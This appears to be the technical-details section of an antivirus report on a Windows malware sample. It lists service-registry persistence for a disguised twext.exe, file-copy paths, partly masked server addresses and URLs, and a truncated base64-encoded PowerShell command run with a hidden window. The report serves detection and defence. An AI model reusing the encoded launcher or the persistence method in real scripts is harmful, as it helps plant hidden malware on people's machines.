Technical Information
- [<HKLM>\System\CurrentControlSet\Services\twext] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\twext] 'ImagePath' = '"%WINDIR%\SysWOW64\NlsLexicons0414\twext.exe"'
- 'twext' "%WINDIR%\SysWOW64\NlsLexicons0414\twext.exe"
- 'twext' %WINDIR%\SysWOW64\NlsLexicons0414\twext.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMADAAcQBkAGcAdwB1AD0AWwBjAGgAYQByAF0ANAAyADsAJABSAGMAYQBlADUAbgBqAD0AKAAnAEkAMQAnACsAKAAnAHQAcQAnACsAJwBfAHQAMAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQ...
- %HOMEPATH%\gl519my\w2xc3uy\ayyvs8riv.exe
- %WINDIR%\syswow64\nlslexicons0414\twext.exe
- from %HOMEPATH%\gl519my\w2xc3uy\ayyvs8riv.exe to %WINDIR%\syswow64\nlslexicons0414\twext.exe
- '18#.#57.101.114':80
- http://ma###erver.com/wp-content/T/
- http://18#.#57.101.114/ERssfnTq/o6qnCx/WORSYyeqje4mflxwRo/mLihuVY/Iksxjl9vE/
- DNS ASK ma###erver.com
- '%HOMEPATH%\gl519my\w2xc3uy\ayyvs8riv.exe'
- '%WINDIR%\syswow64\nlslexicons0414\twext.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMADAAcQBkAGcAdwB1AD0AWwBjAGgAYQByAF0ANAAyADsAJABSAGMAYQBlADUAbgBqAD0AKAAnAEkAMQAnACsAKAAnAHQAcQAnACsAJwBfAHQAMAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQ...' (with hidden window)